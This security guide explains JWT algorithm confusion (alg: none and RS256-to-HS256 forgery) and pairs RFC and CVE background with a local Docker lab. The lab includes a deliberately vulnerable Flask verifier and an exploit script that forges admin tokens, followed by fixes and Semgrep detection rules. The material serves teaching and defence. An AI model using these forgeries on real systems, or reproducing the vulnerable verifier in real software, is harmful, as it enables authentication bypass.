JWT Algorithm Confusion Explained: Attack Examples & Prevention
JWT algorithm confusion lets an attacker forge a token the server fully trusts by changing the alg header: to none (no signature) or from RS256 to HS256 (the RSA public key becomes the HMAC secret). It is CWE-347 (Improper Verification of Cryptographic Signature), documented in RFC 8725 section 2.1, and has produced a decade of library CVEs. This guide covers the mechanics, a reproducible local lab, detection, and allowlist fix patterns.
What JWT algorithm confusion is and why it keeps mattering
A signed JWT (JWS compact serialization, RFC 7515) is three base64url segments: header.payload.signature. The header carries the alg parameter, which tells the verifier which cryptographic algorithm was used, and it is part of the attacker-controlled input. RFC 8725 (JSON Web Token Best Current Practices, BCP 225) describes the resulting failure mode precisely:
"The algorithm can be changed to 'none' by an attacker, and some libraries would trust this value and 'validate' the JWT without checking any signature." ... "An 'RS256' (RSA, 2048 bit) parameter value can be changed into 'HS256' (HMAC, SHA-256), and some libraries would try to validate the signature using HMAC-SHA256 and using the RSA public key as the HMAC shared secret." (RFC 8725, Section 2.1)
The root cause is a verification function that branches on the header value instead of on a server-side policy: it reads alg from the token, then picks the verification path (and therefore the key interpretation) based on it. The "algorithm confusion attack" (also called key confusion) is the generic name for forcing that dispatch to use an algorithm other than the one the application's developers intended, the same primitive PortSwigger teaches in its Web Security Academy. Once a token can be forged, every downstream check that trusts its claims (including object-level ownership checks) trusts the attacker.
1. Attacker
Fetches the server’s RSA public key (e.g. from JWKS)
2. Attacker
Signs a token with alg: HS256 using that key as the secret
3. Verifier
Reads alg from the header and chooses HMAC
4. Verifier
Accepts the forged token with admin claims
The taxonomy: alg: none is the "unsecured JWT" case defined in the JSON Web Algorithms registry (RFC 7518): a token with an empty signature that some verifiers accept without any integrity check. The RS256→HS256 variant is a type confusion: RS256 verification expects an RSA public key, HS256 verification expects a symmetric secret, and vulnerable code passes the same key object to both paths, so the public key, which is public by design and often served from a JWKS endpoint or embedded in clients, becomes the HMAC signing secret.
| Specification | Role | Relevant content |
|---|---|---|
| RFC 7519 | JWT | Claims container; token format |
| RFC 7515 | JWS | Compact serialization; the alg header parameter |
| RFC 7518 | JWA | Algorithm registry incl. none (unsecured JWT) |
| RFC 8725 (BCP 225) | JWT BCP | §2.1 documents both attacks; §3.1 algorithm verification; §3.2 appropriate algorithms and none handling |
| CWE-347 / CWE-345 | Weakness family | Improper Verification of Cryptographic Signature / Insufficient Verification of Data Authenticity (NVD maps the PyJWT case to CWE-327, Use of a Broken or Risky Cryptographic Algorithm) |
The CVE history shows the bug class moving through the major JWT libraries, and still being found in 2026:
| CVE | Library | Flaw |
|---|---|---|
| CVE-2015-9235 | jsonwebtoken (Node.js) < 4.2.2 | Verification bypass: a token signed with a symmetric (HS*) algorithm was accepted where an asymmetric (RS/ES) signature was expected |
| CVE-2017-11424 | PyJWT ≤ 1.5.0 | The HMAC key-prep check missed PKCS1 PEM public keys (-----BEGIN RSA PUBLIC KEY-----), enabling symmetric/asymmetric key confusion (CVSS 7.5) |
| CVE-2022-29217 | PyJWT < 2.4.0 | With get_default_algorithms(), the attacker-submitted token chooses the signing algorithm; fix: always be explicit about accepted algorithms (CVSS 7.5) |
| CVE-2023-48223 | fast-jwt < 3.3.2 | Library auto-detection of public-key algorithms failed for some key types, allowing HS256 confusion; the fix was incomplete (see below) |
| CVE-2026-34950 | fast-jwt ≤ 6.1.0 | A whitespace-prefixed RSA public key bypassed the CVE-2023-48223 fix: algorithm confusion still possible; patched in 6.2.0 |
| CVE-2022-21449 | Oracle Java 15–18 (ECDSA) | "Psychic signatures": ECDSA verification accepted r = s = 0, forging ES256 JWTs and SAML/OIDC assertions among others; patched in the April 2022 Critical Patch Update |
Two patterns in that table are worth internalizing. First, the library-side fixes (PyJWT blocking PEM keys as HMAC secrets) moved the bug into application code that hand-rolls verification or dispatches on the header, which is why the lab below demonstrates a custom verifier. Second, library "key type detection" keeps being bypassable (fast-jwt twice, 3 years apart in 2023 and 2026), which is exactly why RFC 8725 requires an explicit allowlist instead of detection.
Attack anatomy: three ways to forge a trusted token
The attacker starts from a legitimate token (or any token) and edits it. Only the header and payload need to change; the forged signature is recomputed. A token with alg: none looks like this:
{"alg":"none","typ":"JWT"}.{"sub":"alice","role":"admin","iat":0}.Note the empty third segment. RFC 8725 section 3.2 is explicit that consuming libraries "SHOULD NOT consume JWTs using 'none' unless explicitly requested by the caller": a verifier that honors the header value without an explicit opt-in is vulnerable.
Attack 1: alg: none (unsigned token)
The verifier reads alg: none, skips signature verification entirely, and processes the claims. Exploitation is a base64url re-encode of the payload with the role escalated. Case variants (None, NONE, nOnE) have bypassed naive denylists in some parsers, which is why RFC 8725's approach is an allowlist, not a denylist.
Attack 2: RS256 → HS256 (public key as HMAC secret)
The server signs with RS256 (RSA private key) and verifies with the RSA public key, which is public: served at a JWKS endpoint, embedded in client code, or in a TLS certificate. The attacker takes that public key, sets alg: HS256, and signs the token with HMAC-SHA256 using the public key bytes as the secret. The vulnerable verifier reads HS256, branches into the HMAC path, and uses the same key variable it would have used for RSA, the public key. Both sides compute the same HMAC; the forged token verifies as authentic. RFC 8725's 2.1 quote above is this exact attack, referencing the original 2015 disclosure by Tim McLean (Auth0) and CVE-2015-9235.
Adjacent: key-source header injection (kid, jku, x5u)
The same trust-the-header family includes kid (key ID, historically a path traversal or SQL injection vector when the server reads the key file or DB row named by it) and jku / x5u (URLs from which the verifier fetches the key: a server-side fetch of an attacker URL, which is also SSRF territory). If the server honors an attacker-controlled jku pointing at an attacker-hosted JWKS, the attacker supplies their own key and signs freely. The OWASP JWT Cheat Sheet treats these as part of the same key-management trust boundary. This guide labbed the two signature-level attacks; the header-injection variants follow the same fix (allowlist, never honor unverified headers).
| Primitive | Attacker control | Trust assumption broken |
|---|---|---|
| alg: none | Header + payload; empty signature | "Signed token = integrity protected" (RFC 8725 §2.1) |
| RS256 → HS256 | Header alg; HMAC keyed with the public key | "Key type matches algorithm" (RFC 8725 §3.1) |
| kid / jku / x5u | Key ID or key-fetch URL in the header | "Key source is server-controlled" (OWASP Cheat Sheet) |
Reproducible local lab
Everything below runs against a single local container, with no live targets. The lab is a Flask API with two users and an admin endpoint. It signs login tokens with RS256, serves the RSA public key at /public-key (as a JWKS endpoint would), and verifies with the vulnerable dispatch pattern. The HS256 branch uses a hand-rolled HMAC check, the "custom verification" pattern that modern libraries refuse to support but applications keep re-implementing.
docker-compose.yml
services:
app:
build: .
ports:
- "8080:8080"Dockerfile
FROM python:3.11-slim WORKDIR /app RUN pip install --no-cache-dir flask pyjwt cryptography COPY app.py exploit.py ./ EXPOSE 8080 CMD ["python", "app.py"]
app.py: token API with header-dispatch verification (vulnerable)
import hashlib
import hmac
from functools import wraps
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify, request
app = Flask(__name__)
# Lab keypair, generated at startup. The public half is served at /public-key.
KEY = rsa.generate_private_key(public_exponent=65537, key_size=2048)
PRIVATE_KEY = KEY.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
PUBLIC_KEY = (
KEY.public_key()
.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
.decode()
)
USERS = {"alice": "user", "admin": "admin"}
# --- VULNERABLE: verification dispatches on the attacker-controlled alg header ---
def verify_token(token):
alg = jwt.get_unverified_header(token).get("alg", "")
if alg == "RS256":
return jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])
if alg == "HS256":
# VULN: the RSA public key is trusted as an HMAC secret. Hand-rolled
# verification, so the library's key-type check is never run.
signing_input = token.rsplit(".", 1)[0]
expected = hmac.new(PUBLIC_KEY.encode(), signing_input.encode(), hashlib.sha256).digest()
given = jwt.utils.base64url_decode(token.rsplit(".", 1)[1])
if not hmac.compare_digest(expected, given):
raise jwt.InvalidSignatureError("bad signature")
return jwt.decode(token, options={"verify_signature": False})
if alg == "none":
# VULN: unsigned tokens accepted
return jwt.decode(token, options={"verify_signature": False})
raise jwt.InvalidTokenError("unsupported alg")
def require_token(f):
@wraps(f)
def wrapper(*args, **kwargs):
auth = request.headers.get("Authorization", "")
token = auth.removeprefix("Bearer ")
try:
request.claims = verify_token(token)
except jwt.InvalidTokenError:
return jsonify({"error": "invalid token"}), 401
return f(*args, **kwargs)
return wrapper
@app.post("/login")
def login():
username = request.get_json(force=True).get("username", "")
if username not in USERS:
return jsonify({"error": "unknown user"}), 401
token = jwt.encode(
{"sub": username, "role": USERS[username], "iat": 0},
PRIVATE_KEY,
algorithm="RS256",
)
return jsonify({"token": token})
@app.get("/public-key")
def public_key():
return PUBLIC_KEY, 200, {"Content-Type": "text/plain"}
@app.get("/profile")
@require_token
def profile():
return jsonify({"sub": request.claims["sub"], "role": request.claims["role"]})
@app.get("/admin")
@require_token
def admin():
if request.claims.get("role") != "admin":
return jsonify({"error": "admin only"}), 403
return jsonify({"secret": "flag-admin-access-granted"})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)exploit.py: attacker tooling (ships with the lab)
"""Attacker tooling for the JWT algorithm-confusion lab.
Fetches the server's RSA public key, then forges two admin tokens:
1. an unsigned token (alg: none)
2. an HS256 token signed with the RSA public key as the HMAC secret
The HS256 forge uses only the Python standard library so the mechanics are
visible: the signature is HMAC-SHA256 over "header.payload" keyed with the
public key bytes.
"""
import base64
import hashlib
import hmac
import json
import urllib.request
import jwt
BASE = "http://localhost:8080"
pub = urllib.request.urlopen(f"{BASE}/public-key").read().decode()
payload = {"sub": "alice", "role": "admin", "iat": 0}
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
# --- Attack 1: unsigned token (alg: none) ---
none_token = jwt.encode(dict(payload), None, algorithm="none")
print("NONE_TOKEN=" + none_token)
# --- Attack 2: RS256 -> HS256 confusion, public key as HMAC secret ---
header_hs = {"alg": "HS256", "typ": "JWT"}
signing_input = (
f"{b64url(json.dumps(header_hs, separators=(',', ':')).encode())}."
f"{b64url(json.dumps(payload, separators=(',', ':')).encode())}"
)
sig = hmac.new(pub.encode(), signing_input.encode(), hashlib.sha256).digest()
hs256_token = f"{signing_input}.{b64url(sig)}"
print("HS256_TOKEN=" + hs256_token)Run it and exploit it
docker compose up --build
Log in as alice and confirm the baseline: her token carries role user, and the admin endpoint denies her:
$ TOKEN=$(curl -s -H 'Content-Type: application/json' \
-d '{"username":"alice"}' http://localhost:8080/login | python3 -c \
"import sys,json;print(json.load(sys.stdin)['token'])")
$ curl -s -H "Authorization: Bearer $TOKEN" http://localhost:8080/profile
{"role":"user","sub":"alice"}
$ curl -s -H "Authorization: Bearer $TOKEN" http://localhost:8080/admin
{"error":"admin only"}Now forge both attack tokens. The tool fetches the public key from the server itself, exactly as a real attacker would from a JWKS endpoint:
$ docker compose exec app python exploit.py NONE_TOKEN=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MH0. HS256_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MH0.Kdb0
Both tokens (the one with no signature and the one signed with a public key) are accepted as admin:
$ curl -s -H "Authorization: Bearer $NONE_TOKEN" http://localhost:8080/admin
{"secret":"flag-admin-access-granted"}
$ curl -s -H "Authorization: Bearer $HS256_TOKEN" http://localhost:8080/admin
{"secret":"flag-admin-access-granted"}Alice just minted herself an admin token using only data the server publishes. The HS256 forge is worth studying line by line, because it is the entire attack: HMAC over header.payload keyed with the public key bytes. No private key was involved.
The fix: one allowlisted algorithm, no dispatch on the header
The entire vulnerability collapses into a two-line verifier that pins the algorithm server-side and never branches on the header. RFC 8725 section 3.1: "Libraries MUST enable the caller to specify a supported set of algorithms and MUST NOT use any other algorithms when performing cryptographic operations."
def verify_token(token):
# Fixed: one allowlisted algorithm. PyJWT compares the header alg against
# the allowlist and rejects everything else before any crypto runs.
return jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])Re-running the walkthrough now: the legitimate RS256 token still verifies, while both forgeries are rejected with the same error:
$ curl -s -H "Authorization: Bearer $TOKEN" http://localhost:8080/profile
{"role":"user","sub":"alice"}
$ curl -s -H "Authorization: Bearer $NONE_TOKEN" http://localhost:8080/admin
{"error":"invalid token"}
$ curl -s -H "Authorization: Bearer $HS256_TOKEN" http://localhost:8080/admin
{"error":"invalid token"}
# (PyJWT raises: jwt.exceptions.InvalidAlgorithmError:
# The specified alg value is not allowed)What does not work (and why that teaches you more)
- Trusting the library's key-type detection. PyJWT now rejects PEM keys used as HMAC secrets (CVE-2017-11424 fix), and uses an explicit algorithms allowlist instead of auto-detection (CVE-2022-29217 fix); modern Node libraries require an explicit algorithms list, but fast-jwt's detection was bypassed twice (CVE-2023-48223, CVE-2026-34950 via a whitespace-prefixed key). Detection is a cat-and-mouse game; an explicit allowlist is not.
- Denylisting "none". Case variants (
None,NONE) and parser quirks have bypassed string denylists. RFC 8725's answer is an allowlist of accepted algorithms and explicit opt-in fornone, never a blocklist. - TLS alone. RFC 8725 section 3.2 notes that
nonecan be acceptable when the JWT is protected end-to-end by another mechanism, but that is an explicit design decision for specific deployments, not a reason to let a general-purpose verifier honor attacker-chosen headers. The token is often replayed or stored outside the TLS channel. - Hiding the JWKS endpoint. Security through obscurity: the RSA public key is public by design. The attack needs the key the server verifies with; keeping it unlisted slows reconnaissance, it does not stop the confusion.
Detecting JWT algorithm confusion
Like IDOR, algorithm confusion has no network signature: the forged token is a well-formed JWT. Detection is therefore static-analysis-first, with runtime logging as the backstop.
Static: a Semgrep rule as a starting point
# semgrep --config jwt-alg-confusion.yml (template — adapt to your stack)
rules:
- id: pyjwt-decode-without-algorithms-allowlist
patterns:
- pattern-either:
- pattern: jwt.decode($TOKEN, $KEY)
- pattern: jwt.decode($TOKEN, $KEY, options={...})
- pattern-not: jwt.decode($TOKEN, $KEY, algorithms=[...])
message: >-
jwt.decode without a pinned algorithms allowlist — the header alg is
attacker-controlled (CWE-347 / RFC 8725 §3.1). Pin algorithms=["RS256"].
languages: [python]
severity: WARNING
- id: custom-hmac-verifier
pattern: hmac.new($KEY, ..., hashlib.sha256)
message: >-
Hand-rolled HMAC verification — confirm $KEY is a true symmetric secret,
never an asymmetric public key (algorithm confusion).
languages: [python]
severity: WARNING
- id: verify-signature-disabled
pattern: jwt.decode($TOKEN, options={"verify_signature": False})
message: >-
Signature verification disabled — accepts unsigned tokens (alg:none).
languages: [python]
severity: ERRORRuntime: log and alert on out-of-allowlist alg values
Log the alg header from every verified token (the verifier reads it anyway) and alert on any value outside the server allowlist: none, HS* on an RS256-only API, anything unexpected. This catches the probe-and-scan phase and post-fix regressions, though like all JWT runtime monitoring it cannot catch a single successful forgery on an accepting server. In practice, pair the alert with the SAST rules in CI: detection is code-review-first for this class.
How to prevent JWT algorithm confusion
The fix is a verification policy, not a library upgrade: pin the algorithm server-side, keep the key type consistent with it, and never let the header influence the crypto path. RFC 8725 section 3.1 states the core requirement: "each key MUST be used with exactly one algorithm, and this MUST be checked when the cryptographic operation is performed."
| Verification decision | Secure | Vulnerable |
|---|---|---|
| Algorithm selection | Hardcoded allowlist in the verifier (e.g. algorithms=["RS256"]) | Dispatch on the header alg value |
| Key type | RSA key object for RS/ES; raw bytes only for HS | Passing the RSA public key where a symmetric secret is expected |
| alg: none | Rejected unless explicitly opted in per deployment (RFC 8725 §3.2) | Honored because the header says so |
| Key source (kid/jku/x5u) | kid maps to a server-side allowlist; jku/x5u disabled or pinned to a fixed HTTPS URL | Attacker-controlled kid (path traversal) or jku (attacker-hosted JWKS) |
| Library defaults | Explicit algorithms argument on every verify call | get_default_algorithms() or omitted algorithms list (CVE-2022-29217) |
Python (PyJWT): pinned allowlist
# insecure: algorithm chosen from the header / all algorithms allowed claims = jwt.decode(token, public_key, algorithms=jwt.algorithms.get_default_algorithms()) # fixed: explicit allowlist; everything else raises InvalidAlgorithmError claims = jwt.decode(token, public_key, algorithms=["RS256"])
Node.js (jsonwebtoken): algorithms option
// insecure: no algorithms list — legacy behavior trusted the header
// (the CVE-2015-9235 class)
const claims = jwt.verify(token, publicKey);
// fixed: allowlist, never omit it
const claims = jwt.verify(token, publicKey, { algorithms: ["RS256"] });Go (golang-jwt/jwt/v5): WithValidMethods
// fixed: parser accepts only RS256; any other alg in the header fails
parser := jwt.NewParser(jwt.WithValidMethods([]string{"RS256"}))
claims := &Claims{}
token, err := parser.ParseWithClaims(tokenString, claims, func(t *jwt.Token) (any, error) {
return publicKey, nil
})Java (Auth0 java-jwt): algorithm-bound verifier
// fixed: the Algorithm object binds key type AND algorithm in one step Algorithm algorithm = Algorithm.RSA256((RSAPublicKey) publicKey, null); JWTVerifier verifier = JWT.require(algorithm).build(); DecodedJWT decoded = verifier.verify(token);
Prevention checklist
| Check | How to verify |
|---|---|
| Every verify call pins an explicit algorithms allowlist | Grep for verify/decode calls; Semgrep rules in CI (rules above) |
| No verification path branches on the header alg | Code review: any get_unverified_header or header.get("alg") driving crypto is a finding |
| No custom HMAC/verification code using public keys as secrets | SAST for hmac.new( /crypto.createHmac( fed from key material |
| kid/jku/x5u are server-allowlisted or disabled | Test tokens with attacker-controlled kid/jku; confirm rejection |
| alg:none rejected (regression-tested, including case variants) | Integration test: send a none token to a protected endpoint, expect 401 |
| Out-of-allowlist alg values are logged and alerted | Forge an HS256 token in staging; confirm the alert fires |
Key takeaways
- JWT algorithm confusion is a verification-policy flaw (CWE-347, RFC 8725 §2.1): the attacker controls the
algheader, and vulnerable verifiers let it pick the algorithm, and therefore the key interpretation. - Two primitives:
alg: none(no signature) and RS256→HS256 (RSA public key as HMAC secret). Both let an attacker mint admin tokens from public information alone. - The bug class is a decade old and still shipping: jsonwebtoken, PyJWT (twice), fast-jwt (twice, most recently 2026), plus the Java ECDSA psychic-signature variant (CVE-2022-21449).
- The fix is small and non-negotiable: pin the algorithms allowlist in every verify call (RFC 8725 §3.1), never dispatch on the header, and never let a public key double as an HMAC secret.
- Detection is SAST-first (decode-without-allowlist, custom HMAC, disabled signature verification) with alg-header logging as the runtime backstop.
Frequently asked questions
- What is a JWT algorithm confusion attack?
- It is a verification-policy flaw (CWE-347, RFC 8725 §2.1): the verifier reads the attacker-controlled alg header and lets it choose the algorithm and key interpretation. Setting alg to none, or switching RS256 to HS256, lets the attacker forge tokens the server accepts.
- How does the RS256 to HS256 key confusion attack work?
- RS256 verifies with an RSA public key; HS256 verifies with a shared secret. If vulnerable code passes the same key to both paths, the attacker signs an HS256 token using the server's public key (which is public by design) as the HMAC secret, and the verifier accepts it.
- How do you prevent JWT algorithm confusion?
- Pass an explicit algorithm allowlist to every verify call (RFC 8725 §3.1), never dispatch on the token header, and never let a public key double as an HMAC secret. Use separate key objects per algorithm.
- Are kid, jku and x5u header attacks the same problem?
- They belong to the same trust-the-header family: the verifier lets the token choose where its key comes from. The fix is the same: ignore unverified header values for key selection and resolve keys only from server-side configuration.
Kokkuvõte eesti keeles
JWT algoritmi segiajamine (ingl k JWT algorithm confusion) on allkirjakontrolli nõrkus, kus server usaldab ründaja kontrollitavat alg-päist: ründaja muudab selle väärtuseks none (allkirja pole üldse) või HS256-ks, mille puhul kasutatakse HMAC-võtmena serveri avalikku RSA-võtit. Mõlemal juhul saab ilma privaatvõtmeta võltsida adminiõigustega märgi. See on CWE-347 ja RFC 8725 §2.1 kirjeldatud rünnak, mille tõttu on aastate jooksul parandatud jsonwebtokenit, PyJWT-d ja fast-jwt-d (viimast koguni 2026. aastal). Parandus: kinnitada kontrollimisel alati lubatud algoritmide nimekiri (nt algorithms=["RS256"]), mitte kunagi valida algoritmi päise järgi ega kasutada avalikku võtit HMAC-saladusena. Täielik laborikäik ja koodinäited on ülal inglise keeles.
Sources
- RFC 8725: JSON Web Token Best Current Practices (BCP 225), esp. §2.1, §3.1, §3.2
- RFC 7519: JSON Web Token (JWT)
- RFC 7515: JSON Web Signature (JWS)
- RFC 7518: JSON Web Algorithms (JWA)
- OWASP Cheat Sheet Series: JSON Web Token Cheat Sheet
- OWASP WSTG: Testing JSON Web Tokens
- PortSwigger Web Security Academy: JWT algorithm confusion attacks
- McLean, T.: Critical vulnerabilities in JSON Web Token libraries (Auth0, 2015; cited by RFC 8725 as [McLean])
- NVD: CVE-2015-9235 (jsonwebtoken < 4.2.2)
- NVD: CVE-2017-11424 (PyJWT ≤ 1.5.0, PKCS1 PEM key confusion)
- NVD: CVE-2022-29217 (PyJWT < 2.4.0, get_default_algorithms)
- NVD: CVE-2023-48223 (fast-jwt < 3.3.2)
- fast-jwt advisory: CVE-2026-34950, whitespace-prefixed RSA public key (patched 6.2.0)
- Madden, N.: Psychic Signatures in Java (CVE-2022-21449)
- CWE-347: Improper Verification of Cryptographic Signature